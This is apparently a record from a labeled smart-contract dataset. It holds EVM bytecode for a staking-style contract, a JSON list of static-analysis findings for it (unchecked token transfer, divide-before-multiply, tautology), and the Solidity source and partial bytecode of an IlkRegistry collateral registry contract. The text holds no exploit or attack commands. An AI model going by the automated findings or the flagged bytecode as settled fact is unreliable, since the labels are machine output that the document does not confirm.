2526028815260200180610f3f6028913960400191505060405180910390fd5b60038054911515600160a01b0260ff60a01b19909216919091179055565b600080546001600160a01b031633148061041e57506002546001600160a01b031633145b6104595760405162461bcd60e51b8152600401808060200182810382526030815260200180610f0f6030913960400191505060405180910390fd5b600954600160401b83028161046a57fe5b600b80549290910490910190819055600755506001919050565b6001546001600160a01b031681565b6002546001600160a01b031681565b6000806104ae336107e2565b336000818152600a602090815260408083206001018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561051e57600080fd5b505af1158015610532573d6000803e3d6000fd5b505050506040513d602081101561054857600080fd5b5051610590576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f31358920f2e2ce1409c5c3e86b8c9e76eb941195722ce8edbb56f0142a7dd26a9181900360200190a3905090565b60075481565b6105db816108bb565b50565b6105db81610c90565b600c546001600160a01b031633146106305760405162461bcd60e51b8152600401808060200182810382526028815260200180610f3f6028913960400191505060405180910390fd5b670de0b6b3a764000002600655565b600354600160a01b900460ff1681565b600c546001600160a01b031633146106985760405162461bcd60e51b8152600401808060200182810382526028815260200180610f3f6028913960400191505060405180910390fd5b670de0b6b3a764000002600455565b6003546001600160a01b031681565b60008060006106c58686610e08565b915091508381106106d257fe5b600084806106dc57fe5b8688099050828111156106f0576001820391505b91829003916000859003851680868161070557fe5b04955080848161071157fe5b04935080816000038161072057fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b6001600160a01b03166000908152600a602052604090205490565b6000806000806000610795610818565b61079e8761076a565b6107a7886107e2565b6001600160a01b03989098166000908152600a6020526040902060028101546001909101549299919897509550909350915050565b60065481565b6001600160a01b03166000908152600a6020526040902060018101549054600b54600160401b9102919091030490565b60045481565b60095490565b600c546000906001600160a01b0316331461086a5760405162461bcd60e51b8152600401808060200182810382526028815260200180610f3f6028913960400191505060405180910390fd5b50600080546001600160a01b03199081166001600160a01b03968716179091556003805482169486169490941790935560018054841692851692909217825560028054909316931692909217905590565b600354600160a01b900460ff16610919576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600654600154604080516370a0823160e01b815233600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561096757600080fd5b505afa15801561097b573d6000803e3d6000fd5b505050506040513d602081101561099157600080fd5b5051116109cf5760405162461bcd60e51b8152600401808060200182810382526030815260200180610ea46030913960400191505060405180910390fd5b600354604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a1957600080fd5b505afa158015610a2d573d6000803e3d6000fd5b505050506040513d6020811015610a4357600080fd5b50511015610a98576040805162461bcd60e51b815260206004820181905260248201527f496e73756666696369656e7420706f77657220746f6b656e2062616c616e6365604482015290519081900360640190fd5b60045481610aa53361076a565b011015610ae35760405162461bcd60e51b815260040180806020018281038252603b815260200180610ed4603b913960400191505060405180910390fd5b60035460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610b3357600080fd5b505afa158015610b47573d6000803e3d6000fd5b505050506040513d6020811015610b5d57600080fd5b50511015610b9c5760405162461bcd60e51b815260040180806020018281038252603b815260200180610e69603b913960400191505060405180910390fd5b336000818152600a602090815260408083204260028201556009805487019055805486018155600b5460019091018054918702909101905560035481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610c2a57600080fd5b505af1158015610c3e573d6000803e3d6000fd5b505050506040513d6020811015610c5457600080fd5b5050604080518281529051309133917ff8474dea03f2a3cb837b30d9fd18d0a1ddc6fef424e1f188fd0835fe6d737c059181900360200190a350565b80610c9a3361076a565b1015610cd75760405162461bcd60e51b8152600401808060200182810382526033815260200180610e366033913960400191505060405180910390fd5b600980548290039055336000818152600a6020908152604080832080548690038155600b5460019190910180549187029091039055600354815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610d5c57600080fd5b505af1158015610d70573d6000803e3d6000fd5b505050506040513d6020811015610d8657600080fd5b5051610dce576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917fdd8147ea59d083cd0bddbc73ffdd45d4f80f65576edfcb74709a6e2848fe6a229181900360200190a350565b6000808060001984860990508385029250828103915082811015610e2d576001820391505b50925092905056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e7420706f7070696e674e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f7520646f206e6f7420686176652073756666696369656e74206669726520746f20706f70207468697320636f726e596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f20706f70417574686f72697a6174696f6e3a206f6e6c7920617574686f72697a656420636f6e74726163742063616e2063616c6c4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72a2646970667358221220c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f99252564736f6c63430006040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,409
0x8b4ce5dcbb01e0e1f0521cd8dcfb31b308e52c24
// SPDX-License-Identifier: AGPL-3.0-or-later /// IlkRegistry.sol -- Publicly updatable ilk registry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity ^0.6.7; interface JoinLike { function vat() external view returns (address); function ilk() external view returns (bytes32); function gem() external view returns (address); function dec() external view returns (uint256); function live() external view returns (uint256); } interface VatLike { function wards(address) external view returns (uint256); function live() external view returns (uint256); } interface CatLike { function vat() external view returns (address); function live() external view returns (uint256); function ilks(bytes32) external view returns (address, uint256, uint256); } interface FlipLike { function vat() external view returns (address); function cat() external view returns (address); } interface SpotLike { function live() external view returns (uint256); function vat() external view returns (address); function ilks(bytes32) external view returns (address, uint256); } interface TokenLike { function name() external view returns (string memory); function symbol() external view returns (string memory); } contract GemInfo { function name(address token) external view returns (string memory) { return TokenLike(token).name(); } function symbol(address token) external view returns (string memory) { return TokenLike(token).symbol(); } } contract IlkRegistry { event Rely(address usr); event Deny(address usr); event AddIlk(bytes32 ilk); event RemoveIlk(bytes32 ilk); event UpdateIlk(bytes32 ilk); event NameError(bytes32 ilk); event SymbolError(bytes32 ilk); // --- Auth --- mapping (address => uint) public wards; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "IlkRegistry/not-authorized"); _; } VatLike public immutable vat; GemInfo private immutable gemInfo; CatLike public cat; SpotLike public spot; struct Ilk { uint256 pos; // Index in ilks array address gem; // The token contract address pip; // Token price address join; // DSS GemJoin adapter address flip; // Auction contract uint256 dec; // Token decimals string name; // Token name string symbol; // Token symbol } mapping (bytes32 => Ilk) public ilkData; bytes32[] ilks; // Initialize the registry constructor(address vat_, address cat_, address spot_) public { VatLike _vat = vat = VatLike(vat_); cat = CatLike(cat_); spot = SpotLike(spot_); require(cat.vat() == vat_, "IlkRegistry/invalid-cat-vat"); require(spot.vat() == vat_, "IlkRegistry/invalid-spotter-vat"); require(_vat.wards(cat_) == 1, "IlkRegistry/cat-not-authorized"); require(_vat.wards(spot_) == 1, "IlkRegistry/spot-not-authorized"); require(_vat.live() == 1, "IlkRegistry/vat-not-live"); require(cat.live() == 1, "IlkRegistry/cat-not-live"); require(spot.live() == 1, "IlkRegistry/spot-not-live"); gemInfo = new GemInfo(); wards[msg.sender] = 1; } // Pass an active join adapter to the registry to add it to the set function add(address adapter) external { JoinLike join = JoinLike(adapter); // Validate adapter require(join.vat() == address(vat), "IlkRegistry/invalid-join-adapter-vat"); require(vat.wards(address(join)) == 1, "IlkRegistry/adapter-not-authorized"); // Validate ilk bytes32 _ilk = join.ilk(); require(_ilk != 0, "IlkRegistry/ilk-adapter-invalid"); require(ilkData[_ilk].join == address(0), "IlkRegistry/ilk-already-exists"); (address _pip,) = spot.ilks(_ilk); require(_pip != address(0), "IlkRegistry/pip-invalid"); (address _flip,,) = cat.ilks(_ilk); require(_flip != address(0), "IlkRegistry/flip-invalid"); require(FlipLike(_flip).cat() == address(cat), "IlkRegistry/flip-wrong-cat"); require(FlipLike(_flip).vat() == address(vat), "IlkRegistry/flip-wrong-vat"); string memory name = bytes32ToStr(_ilk); try gemInfo.name(join.gem()) returns (string memory _name) { if (bytes(_name).length != 0) { name = _name; } } catch { emit NameError(_ilk); } string memory symbol = bytes32ToStr(_ilk); try gemInfo.symbol(join.gem()) returns (string memory _symbol) { if (bytes(_symbol).length != 0) { symbol = _symbol; } } catch { emit SymbolError(_ilk); } ilks.push(_ilk); ilkData[ilks[ilks.length - 1]] = Ilk( ilks.length - 1, join.gem(), _pip, address(join), _flip, join.dec(), name, symbol ); emit AddIlk(_ilk); } // Anyone can remove an ilk if the adapter has been caged function remove(bytes32 ilk) external { JoinLike join = JoinLike(ilkData[ilk].join); require(address(join) != address(0), "IlkRegistry/invalid-ilk"); require(join.live() == 0, "IlkRegistry/ilk-live"); _remove(ilk); emit RemoveIlk(ilk); } // Admin can remove an ilk without any precheck function removeAuth(bytes32 ilk) external auth { _remove(ilk); emit RemoveIlk(ilk); } // Authed edit function function file(bytes32 what, address data) external auth { if (what == "cat") cat = CatLike(data); else if (what == "spot") spot = SpotLike(data); else revert("IlkRegistry/file-unrecognized-param-address"); } // Authed edit function function file(bytes32 ilk, bytes32 what, address data) external auth { if (what == "gem") ilkData[ilk].gem = data; else if (what == "join") ilkData[ilk].join = data; else revert("IlkRegistry/file-unrecognized-param-address"); } // Authed edit function function file(bytes32 ilk, bytes32 what, uint256 data) external auth { if (what == "dec") ilkData[ilk].dec = data; else revert("IlkRegistry/file-unrecognized-param-uint256"); } // Authed edit function function file(bytes32 ilk, bytes32 what, string calldata data) external auth { if (what == "name") ilkData[ilk].name = data; else if (what == "symbol") ilkData[ilk].symbol = data; else revert("IlkRegistry/file-unrecognized-param-string"); } // Remove ilk from the ilks array by replacing the ilk with the // last in the array and then trimming the end. function _remove(bytes32 ilk) internal { // Get the position in the array uint256 _index = ilkData[ilk].pos; // Get the last ilk in the array bytes32 _moveIlk = ilks[ilks.length - 1]; // Replace the ilk we are removing ilks[_index] = _moveIlk; // Update the array position for the moved ilk ilkData[_moveIlk].pos = _index; // Trim off the end of the ilks array ilks.pop(); // Delete struct data delete ilkData[ilk]; } // The number of active ilks function count() external view returns (uint256) { return ilks.length; } // Return an array of the available ilks function list() external view returns (bytes32[] memory) { return ilks; } // Get a splice of the available ilks, useful when ilks array is large. function list(uint256 start, uint256 end) external view returns (bytes32[] memory) { require(start <= end && end < ilks.length, "IlkRegistry/invalid-input"); bytes32[] memory _ilks = new bytes32[]((end - start) + 1); uint256 _count = 0; for (uint256 i = start; i <= end; i++) { _ilks[_count] = ilks[i]; _count++; } return _ilks; } // Get the ilk at a specific position in the array function get(uint256 pos) external view returns (bytes32) { require(pos < ilks.length); return ilks[pos]; } // Get information about an ilk, including name and symbol function info(bytes32 ilk) external view returns ( string memory name, string memory symbol, uint256 dec, address gem, address pip, address join, address flip ) { Ilk memory _ilk = ilkData[ilk]; return ( _ilk.name, _ilk.symbol, _ilk.dec, _ilk.gem, _ilk.pip, _ilk.join, _ilk.flip ); } // The location of the ilk in the ilks array function pos(bytes32 ilk) external view returns (uint256) { return ilkData[ilk].pos; } // The token address function gem(bytes32 ilk) external view returns (address) { return ilkData[ilk].gem; } // The ilk's price feed function pip(bytes32 ilk) external view returns (address) { return ilkData[ilk].pip; } // The ilk's join adapter function join(bytes32 ilk) external view returns (address) { return ilkData[ilk].join; } // The flipper for the ilk function flip(bytes32 ilk) external view returns (address) { return ilkData[ilk].flip; } // The number of decimals on the ilk function dec(bytes32 ilk) external view returns (uint256) { return ilkData[ilk].dec; } // Return the symbol of the token, if available function symbol(bytes32 ilk) external view returns (string memory) { return ilkData[ilk].symbol; } // Return the name of the token, if available function name(bytes32 ilk) external view returns (string memory) { return ilkData[ilk].name; } // Public function to update an ilk's pip and flip if the ilk has been updated. function update(bytes32 ilk) external { require(JoinLike(ilkData[ilk].join).vat() == address(vat), "IlkRegistry/invalid-ilk"); require(JoinLike(ilkData[ilk].join).live() == 1, "IlkRegistry/ilk-not-live-use-remove-instead"); (address _pip,) = spot.ilks(ilk); require(_pip != address(0), "IlkRegistry/pip-invalid"); (address _flip,,) = cat.ilks(ilk); require(_flip != address(0), "IlkRegistry/flip-invalid"); require(FlipLike(_flip).cat() == address(cat), "IlkRegistry/flip-wrong-cat"); require(FlipLike(_flip).vat() == address(vat), "IlkRegistry/flip-wrong-vat"); ilkData[ilk].pip = _pip; ilkData[ilk].flip = _flip; emit UpdateIlk(ilk); } function bytes32ToStr(bytes32 _bytes32) internal pure returns (string memory) { bytes memory bytesArray = new bytes(32); for (uint256 i; i < 32; i++) { bytesArray[i] = _bytes32[i]; } return string(bytesArray); } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80638b147245116100f9578063ad677d0b11610097578063c8b97f7111610071578063c8b97f711461086d578063d4e8be83146108e9578063e488181314610922578063ebecb39d1461092a576101c4565b8063ad677d0b146106e4578063b64a097e14610701578063bf353dbb1461083a576101c4565b80639c52a7f1116100d35780639c52a7f1146104a2578063a19555d9146104d5578063a4903036146104f2578063a53a42b51461050f576101c4565b80638b1472451461044b5780639507d39a1461046857806395bc267314610485576101c4565b806350fd736711610166578063691f343111610140578063691f3431146103775780636baa0330146104095780636f265b93146104265780636ffd80011461042e576101c4565b806350fd73671461030457806356eac7dc1461032757806365fae35e14610344576101c4565b80631a0b287e116101a25780631a0b287e146102705780633017a54d1461029957806336569e77146102b657806341f0b723146102e7576101c4565b806306661abd146101c95780630a3b0a4f146101e35780630f560cd714610218575b600080fd5b6101d1610969565b60408051918252519081900360200190f35b610216600480360360208110156101f957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610970565b005b6102206119ab565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561025c578181015183820152602001610244565b505050509050019250505060405180910390f35b6102166004803603606081101561028657600080fd5b5080359060208101359060400135611a03565b6101d1600480360360208110156102af57600080fd5b5035611b18565b6102be611b2d565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6102be600480360360208110156102fd57600080fd5b5035611b51565b6102206004803603604081101561031a57600080fd5b5080359060200135611b7c565b6101d16004803603602081101561033d57600080fd5b5035611c95565b6102166004803603602081101561035a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611ca7565b6103946004803603602081101561038d57600080fd5b5035611d84565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103ce5781810151838201526020016103b6565b50505050905090810190601f1680156103fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103946004803603602081101561041f57600080fd5b5035611e46565b6102be611ed1565b6102be6004803603602081101561044457600080fd5b5035611eed565b6102166004803603602081101561046157600080fd5b5035611f18565b6101d16004803603602081101561047e57600080fd5b5035612681565b6102166004803603602081101561049b57600080fd5b50356126b1565b610216600480360360208110156104b857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612864565b610216600480360360208110156104eb57600080fd5b5035612940565b6102be6004803603602081101561050857600080fd5b50356129fd565b61052c6004803603602081101561052557600080fd5b5035612a28565b604051808981526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015610641578181015183820152602001610629565b50505050905090810190601f16801561066e5780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156106a1578181015183820152602001610689565b50505050905090810190601f1680156106ce5780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390f35b6102be600480360360208110156106fa57600080fd5b5035612bd6565b61071e6004803603602081101561071757600080fd5b5035612c02565b6040805190810186905273ffffffffffffffffffffffffffffffffffffffff8086166060830152848116608083015283811660a0830152821660c082015260e0808252885190820152875181906020808301916101008401918c019080838360005b83811015610798578181015183820152602001610780565b50505050905090810190601f1680156107c55780820380516001836020036101000a031916815260200191505b5083810382528951815289516020918201918b019080838360005b838110156107f85781810151838201526020016107e0565b50505050905090810190601f1680156108255780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b6101d16004803603602081101561085057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612e22565b6102166004803603606081101561088357600080fd5b8135916020810135918101906060810160408201356401000000008111156108aa57600080fd5b8201836020820111156108bc57600080fd5b803590602001918460018302840111640100000000831117156108de57600080fd5b509092509050612e34565b610216600480360360408110156108ff57600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff16612f97565b6102be613144565b6102166004803603606081101561094057600080fd5b508035906020810135906040013573ffffffffffffffffffffffffffffffffffffffff16613160565b6004545b90565b60008190507f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff166336569e776040518163ffffffff1660e01b815260040160206040518083038186803b1580156109f257600080fd5b505afa158015610a06573d6000803e3d6000fd5b505050506040513d6020811015610a1c57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff1614610a8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061375c6024913960400191505060405180910390fd5b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663bf353dbb826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b2757600080fd5b505afa158015610b3b573d6000803e3d6000fd5b505050506040513d6020811015610b5157600080fd5b5051600114610bab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806137806022913960400191505060405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf357600080fd5b505afa158015610c07573d6000803e3d6000fd5b505050506040513d6020811015610c1d57600080fd5b5051905080610c8d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f496c6b52656769737472792f696c6b2d616461707465722d696e76616c696400604482015290519081900360640190fd5b6000818152600360208190526040909120015473ffffffffffffffffffffffffffffffffffffffff1615610d2257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f496c6b52656769737472792f696c6b2d616c72656164792d6578697374730000604482015290519081900360640190fd5b600254604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101849052815160009373ffffffffffffffffffffffffffffffffffffffff169263d9638d369260248082019391829003018186803b158015610d9057600080fd5b505afa158015610da4573d6000803e3d6000fd5b505050506040513d6040811015610dba57600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff8116610e4057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f7069702d696e76616c6964000000000000000000604482015290519081900360640190fd5b600154604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101859052905160009273ffffffffffffffffffffffffffffffffffffffff169163d9638d36916024808301926060929190829003018186803b158015610eb257600080fd5b505afa158015610ec6573d6000803e3d6000fd5b505050506040513d6060811015610edc57600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff8116610f6257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f496c6b52656769737472792f666c69702d696e76616c69640000000000000000604482015290519081900360640190fd5b600154604080517fe4881813000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9283169284169163e4881813916004808301926020929190829003018186803b158015610fcf57600080fd5b505afa158015610fe3573d6000803e3d6000fd5b505050506040513d6020811015610ff957600080fd5b505173ffffffffffffffffffffffffffffffffffffffff161461107d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f666c69702d77726f6e672d636174000000000000604482015290519081900360640190fd5b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff166336569e776040518163ffffffff1660e01b815260040160206040518083038186803b1580156110fa57600080fd5b505afa15801561110e573d6000803e3d6000fd5b505050506040513d602081101561112457600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146111a857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f666c69702d77726f6e672d766174000000000000604482015290519081900360640190fd5b60606111b3846132d7565b90507f000000000000000000000000a8e2daa5f8ee5b1c9eb080236243a39625e4881373ffffffffffffffffffffffffffffffffffffffff1663019848928673ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b15801561123757600080fd5b505afa15801561124b573d6000803e3d6000fd5b505050506040513d602081101561126157600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152516024808301926000929190829003018186803b1580156112cd57600080fd5b505afa9250505080156113d157506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561131e57600080fd5b810190808051604051939291908464010000000082111561133e57600080fd5b90830190602082018581111561135357600080fd5b825164010000000081118282018810171561136d57600080fd5b82525081516020918201929091019080838360005b8381101561139a578181015183820152602001611382565b50505050905090810190601f1680156113c75780820380516001836020036101000a031916815260200191505b5060405250505060015b61140d576040805185815290517f93272f551c7dd0dd38e4c01ae7b4eeef80d2557b4460caa3ee96697d93bc809a9181900360200190a161141a565b805115611418578091505b505b6060611425856132d7565b90507f000000000000000000000000a8e2daa5f8ee5b1c9eb080236243a39625e4881373ffffffffffffffffffffffffffffffffffffffff1663a86e35768773ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b1580156114a957600080fd5b505afa1580156114bd573d6000803e3d6000fd5b505050506040513d60208110156114d357600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152516024808301926000929190829003018186803b15801561153f57600080fd5b505afa92505050801561164357506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561159057600080fd5b81019080805160405193929190846401000000008211156115b057600080fd5b9083019060208201858111156115c557600080fd5b82516401000000008111828201881017156115df57600080fd5b82525081516020918201929091019080838360005b8381101561160c5781810151838201526020016115f4565b50505050905090810190601f1680156116395780820380516001836020036101000a031916815260200191505b5060405250505060015b61167f576040805186815290517fd4596cfd8cc9635c5a006e070f5c23e1af9b5d2e65665a8d73958c9e6cc17b4d9181900360200190a161168c565b80511561168a578091505b505b6004805460018101825560008290527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b01869055604080516101008101825282547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01815281517f7bd2bea70000000000000000000000000000000000000000000000000000000081529151909260208481019373ffffffffffffffffffffffffffffffffffffffff8c1693637bd2bea7938281019392829003018186803b15801561175757600080fd5b505afa15801561176b573d6000803e3d6000fd5b505050506040513d602081101561178157600080fd5b505173ffffffffffffffffffffffffffffffffffffffff90811682528681166020838101919091528982166040808501829052928816606085015282517fb3bcfa820000000000000000000000000000000000000000000000000000000081529251608090940193909263b3bcfa82926004808301939192829003018186803b15801561180d57600080fd5b505afa158015611821573d6000803e3d6000fd5b505050506040513d602081101561183757600080fd5b5051815260208101849052604001829052600480546003916000917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff810190811061187e57fe5b6000918252602080832091909101548352828101939093526040918201902083518155838301516001820180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff9384161790915592850151600283018054851691831691909117905560608501516003830180548516918316919091179055608085015160048301805490941691161790915560a0830151600582015560c08301518051919261194f926006850192909101906134a8565b5060e0820151805161196b9160078401916020909101906134a8565b50506040805187815290517f74ceb2982b813d6b690af89638316706e6acb9a48fced388741b61b510f165b792509081900360200190a150505050505050565b606060048054806020026020016040519081016040528092919081815260200182805480156119f957602002820191906000526020600020905b8154815260200190600101908083116119e5575b5050505050905090565b33600090815260208190526040902054600114611a8157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f64656300000000000000000000000000000000000000000000000000000000001415611ac2576000838152600360205260409020600501819055611b13565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806136b1602b913960400191505060405180910390fd5b505050565b60009081526003602052604090206005015490565b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b81565b60009081526003602052604090206001015473ffffffffffffffffffffffffffffffffffffffff1690565b6060818311158015611b8f575060045482105b611bfa57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d696e70757400000000000000604482015290519081900360640190fd5b606083830360010167ffffffffffffffff81118015611c1857600080fd5b50604051908082528060200260200182016040528015611c42578160200160208202803683370190505b5090506000845b848111611c8b5760048181548110611c5d57fe5b9060005260206000200154838381518110611c7457fe5b602090810291909101015260019182019101611c49565b5090949350505050565b60009081526003602052604090205490565b33600090815260208190526040902054600114611d2557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000818152602081815260409182902060019055815192835290517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609281900390910190a150565b60008181526003602090815260409182902060060180548351601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600186161502019093169290920491820184900484028101840190945280845260609392830182828015611e3a5780601f10611e0f57610100808354040283529160200191611e3a565b820191906000526020600020905b815481529060010190602001808311611e1d57829003601f168201915b50505050509050919050565b60008181526003602090815260409182902060070180548351601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600186161502019093169290920491820184900484028101840190945280845260609392830182828015611e3a5780601f10611e0f57610100808354040283529160200191611e3a565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60009081526003602052604090206004015473ffffffffffffffffffffffffffffffffffffffff1690565b6000818152600360208181526040928390209091015482517f36569e77000000000000000000000000000000000000000000000000000000008152925173ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b8116949216926336569e779260048082019391829003018186803b158015611fb257600080fd5b505afa158015611fc6573d6000803e3d6000fd5b505050506040513d6020811015611fdc57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff161461206057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f696e76616c69642d696c6b000000000000000000604482015290519081900360640190fd5b6000818152600360208181526040928390209091015482517f957aa58c000000000000000000000000000000000000000000000000000000008152925173ffffffffffffffffffffffffffffffffffffffff9091169263957aa58c926004808301939192829003018186803b1580156120d857600080fd5b505afa1580156120ec573d6000803e3d6000fd5b505050506040513d602081101561210257600080fd5b505160011461215c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806136dc602b913960400191505060405180910390fd5b600254604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101849052815160009373ffffffffffffffffffffffffffffffffffffffff169263d9638d369260248082019391829003018186803b1580156121ca57600080fd5b505afa1580156121de573d6000803e3d6000fd5b505050506040513d60408110156121f457600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff811661227a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f7069702d696e76616c6964000000000000000000604482015290519081900360640190fd5b600154604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101859052905160009273ffffffffffffffffffffffffffffffffffffffff169163d9638d36916024808301926060929190829003018186803b1580156122ec57600080fd5b505afa158015612300573d6000803e3d6000fd5b505050506040513d606081101561231657600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff811661239c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f496c6b52656769737472792f666c69702d696e76616c69640000000000000000604482015290519081900360640190fd5b600154604080517fe4881813000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9283169284169163e4881813916004808301926020929190829003018186803b15801561240957600080fd5b505afa15801561241d573d6000803e3d6000fd5b5050